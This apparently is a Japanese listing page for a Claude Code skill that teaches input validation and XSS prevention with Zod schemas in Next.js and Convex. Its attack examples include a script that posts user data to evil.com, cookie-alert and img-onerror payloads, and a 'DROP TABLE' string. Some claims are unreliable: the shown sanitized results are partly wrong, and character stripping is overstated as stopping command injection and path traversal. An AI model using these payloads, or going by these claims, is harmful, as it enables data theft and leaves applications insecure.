mcpField
I
input-validation-xss-prevention

input-validation-xss-prevention

github.com/harperaaセキュリティ19196 回インストール45 週間前に更新
リポジトリ

input-validation-xss-prevention について

Web アプリ向けの入力検証・XSS 防止スキルです。Zod スキーマでリクエストデータを検証・サニタイズし、一般的なフィールドやフォーム用の定義済みスキーマ 11 種類とヘルパーを提供します。

主な機能

  1. 01Zod の検証スキーマを 11 種類提供
  2. 02ユーザー入力の検証とサニタイズ
  3. 03メール、テキスト、URL の検査
  4. 04フォームとプロフィール用スキーマ
  5. 05検証エラーを整形して HTTP 400 を返却

活用シーン

  1. 01問い合わせフォームや登録データの検証
  2. 02プロフィール、コメント、投稿内容のサニタイズ
  3. 03URL、ID、ページネーションパラメーターの検査
  4. 04API ルートで無効なリクエストを拒否

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/harperaa/secure-claude-skills --skill input-validation-xss-prevention

インストール後、Claude Code で/input-validation-xss-preventionを入力して読み込まれたか確認します。

詳細

入力検証とXSS対策

Webセキュリティの普遍的な原則

ユーザー入力は決して信頼しないでください。 これはWebセキュリティの基本原則です。

大規模な情報漏えいは、どれも入力検証の不備が原因です。

  • SQLインジェクション - Equifax(1億4700万件の記録)
  • XSS - British Airways(38万件の取引、2000万ポンドの罰金)
  • コマンドインジェクション - 数え切れないほどの事例

OWASPによると、インジェクションの脆弱性は一貫してWebアプリケーションにとって第1位または第2位の脅威です。入力検証は任意ではなく、不可欠です。

XSS(クロスサイトスクリプティング)を理解する

攻撃

攻撃者がプロフィール欄に次の内容を入力します。

<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>

サニタイズしない場合、ほかのユーザーがこのプロフィールを表示したときに、次のことが起こります。

  1. スクリプトがユーザーのブラウザーで実行されます
  2. ユーザーデータが盗まれます
  3. 攻撃者のサーバーに送信されます
  4. 被害者は侵害されたことに気づきません
実際に起きたXSSの被害

British Airways(2018年): XSSの脆弱性により、攻撃者が決済カード情報を窃取するスクリプトを埋め込むことができました。38万件の取引が侵害され、GDPRに基づき2000万ポンドの罰金が科されました。

MySpace Samyワーム(2005年): XSSの脆弱性により、攻撃者を20時間で100万人以上のプロフィールの友達に追加する、自己増殖型スクリプトが実行されました。ほとんど無害な動作(友達を追加するだけ)でしたが、その手法の危険性を示しました。同じ手法で認証情報や決済データを盗むこともできたのです。

入力検証のアーキテクチャ

Zodを使う理由

従来の検証では正規表現や手作業によるチェックを使いますが、エラーが起きやすく、不完全なことも少なくありません。

Zodが提供する機能:

  • ✅ 型安全な検証 - TypeScriptが有効な値を認識します
  • ✅ 合成可能なスキーマ - 検証ロジックを再利用できます
  • ✅ 自動変換 - サニタイズ機能が組み込まれています
  • ✅ 分かりやすいエラーメッセージ - ユーザーが間違いを修正しやすくなります
  • ✅ 実行時の型チェック - 本番環境で問題を検出します
サニタイズの方針

XSS攻撃を可能にする危険な文字を削除します。

  • < - 開始タグを防ぎます
  • > - 終了タグを防ぎます
  • " - 属性へのコード注入を防ぎます
  • & - HTMLエンティティの注入を防ぎます

保持する文字:

  • ' - アポストロフィ(O'Neal、D'Angelo、McDonald'sなどの名前に必要です)

特殊文字をすべて削除しない理由 すべて削除すると、「O'Neal」という名前のユーザーが自分の名前を入力できなくなるからです。セキュリティでは、安全性と使いやすさのバランスが必要です。

業界標準の検証方法

OWASPとNISTのガイドラインによると、安全な方法は次のとおりです。

  1. 検証(形式と型を確認する)
  2. サニタイズ(危険な内容を削除する)
  3. 出力時にエンコード(表示時にエスケープする)

この3つをすべて行います。

  • Zodで形式を検証します
  • .transform()でサニタイズします
  • Reactが出力をエスケープします

実装ファイル

  • lib/validation.ts - 事前定義済みのZodスキーマ11個
  • lib/validateRequest.ts - エラーを整形する検証ヘルパー

入力検証の使い方

基本パターン
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
安全なAPIルートの完全な例
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};

利用可能な検証スキーマ

すべてのスキーマはlib/validation.tsにあります。

1. emailSchema

用途: メールアドレス

import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase

機能:

  • 有効なメールアドレス形式が必須です
  • 小文字に正規化します
  • 最大254文字です
  • 前後の空白を削除します
2. safeTextSchema

用途: 短いテキスト項目(名前、タイトル、件名)

import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);

機能:

  • 1文字以上、最大100文字です
  • < > " &を削除します
  • '(アポストロフィ)は保持します
  • 前後の空白を削除します
3. safeLongTextSchema

用途: 長文テキスト(説明、自己紹介、コメント、メッセージ)

import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);

機能:

  • 1文字以上、最大5000文字です
  • safeTextSchemaと同じ方法でサニタイズします
  • テキストエリアの内容に適しています
4. usernameSchema

用途: ユーザー名、スラッグ、識別子

import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);

機能:

  • 英数字、アンダースコア、ハイフンのみ使用できます
  • 3文字以上、最大30文字です
  • 小文字のみ使用できます
  • スペースや特殊文字は使用できません
5. urlSchema

用途: WebサイトのURL、リンク項目

import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);

機能:

  • 有効なURLである必要があります
  • HTTPSのみ(セキュリティ要件)
  • 最大2048文字です
  • プロトコルとドメインを検証します
6. contactFormSchema

用途: お問い合わせフォーム全体

import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;

フィールド:

{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
7. createPostSchema

用途: ユーザーが作成するブログ投稿、記事

import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;

フィールド:

{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
8. updateProfileSchema

用途: プロフィールの更新

import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;

フィールド:

{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}
9. idSchema

用途: データベース ID、参照フィールド

import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);

特徴:

  • 空でない文字列
  • 空白をトリミングします
  • ID パラメーターの検証に使用します
10. positiveIntegerSchema

用途: 件数、数量、ページネーション

import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);

特徴:

  • 整数のみ
  • 正の値(> 0)である必要があります
  • 小数は不可
11. paginationSchema

用途: ページネーションパラメーター

import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;

フィールド:

{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}

カスタムスキーマの作成

カスタムスキーマのテンプレート
// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;
複雑なスキーマの例
// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});
条件付き検証
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);

フロントエンドの検証

クライアント側の事前検証
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">Create Post</button>
    </form>
  );
}

重要: クライアント側の検証は UX のためだけのものです。必ずサーバー側でも検証してください。クライアント側の検証は回避される可能性があります。

攻撃シナリオと保護

攻撃 1:コメントを介した XSS

攻撃:

POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}

保護:

const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
攻撃 2:SQL インジェクションの試み

攻撃:

POST /api/search
{
  "query": "'; DROP TABLE users; --"
}

保護:

const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized

注: SQL インジェクションを完全に防ぐには、データベース層でパラメーター化クエリーを使用してください。

攻撃 3:長い入力によるバッファーオーバーフロー

攻撃:

POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}

保護:

const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
攻撃 4:複数のフィールドへのスクリプトインジェクション

攻撃:

POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "[email protected]",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}

保護:

const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically

入力検証のテスト

XSS サニタイズのテスト
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d '{"title": "<script>alert(1)</script>"}'

# Expected: 200 OK, but title = "alert(1)"
検証エラーのテスト
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }
メールアドレス検証のテスト
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }

エラーレスポンスの形式

検証に失敗すると、validateRequest() は次を返します。

{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}

HTTP ステータス:400 Bad Request

よく使われる検証パターン

パターン 1:オプションのフィールド
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});
パターン 2:配列の検証
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});
パターン 3:列挙値
const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});
パターン 4:数値の範囲
const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});
パターン 5:日付の検証
const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});

Convex との統合

Convex を使用する場合は、ミューテーション内で必ず入力を検証してください。args をデータベースに直接挿入してはいけません。

Convex の基本的な検証パターン
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
Convex での複数フィールドの検証
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});
アンチパターン:args の直接挿入(絶対にしないでください)
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
Convex での検証が重要な理由
  1. フロントエンドの検証は回避される可能性があります - 攻撃者は Convex のミューテーションを直接呼び出せます
  2. Convex の関数は API です - 完全な検証を行う API ルートとして扱ってください
  3. 型安全性だけでは不十分です - TypeScript の型は XSS を防いだり、長さを検証したりしません
  4. 多層防御 - Next.js API で検証していても、Convex でも検証してください

入力検証で防げること

✅ クロスサイトスクリプティング(XSS) - 主な保護対象 ✅ SQL/NoSQL インジェクション - 長さ制限とサニタイズ ✅ コマンドインジェクション - 危険な文字を除去 ✅ テンプレートインジェクション - テンプレート構文をサニタイズ ✅ パストラバーサル - パスを検証し、../ を除去 ✅ バッファーオーバーフロー - 長さ制限を適用 ✅ 型の混同 - 正しいデータ型を適用 ✅ ビジネスロジックのエラー - 範囲と形式を検証

避けるべきよくある間違い

❌ 「内部 API だから」という理由で検証を省略しないでください ❌ クライアント側の検証だけに頼らないでください ❌ 検証せずに body.field を直接使用しないでください ❌ .replace() で手動サニタイズしないでください。Zod を使用してください ❌ 認証済みなら入力は安全だと思い込まないでください ❌ Convex のミューテーションでの検証を忘れないでください

✅ 認証済みユーザーからの入力も含め、すべてのユーザー入力を必ず検証してください ✅ lib/validation.ts の事前定義スキーマを使用してください ✅ 詳細な検証エラーを返してください(UX の向上に役立ちます) ✅ 検証をレート制限および CSRF 対策と組み合わせてください ✅ API ルートと Convex のミューテーションの両方で検証してください

参考資料

次のステップ

  • CSRF 保護について:csrf-protection スキルを使用します
  • レート制限について:rate-limiting スキルを使用します
  • 安全なエラー処理について:error-handling スキルを使用します
  • 入力値検証のテストについて:security-testing スキルを使用します

コメント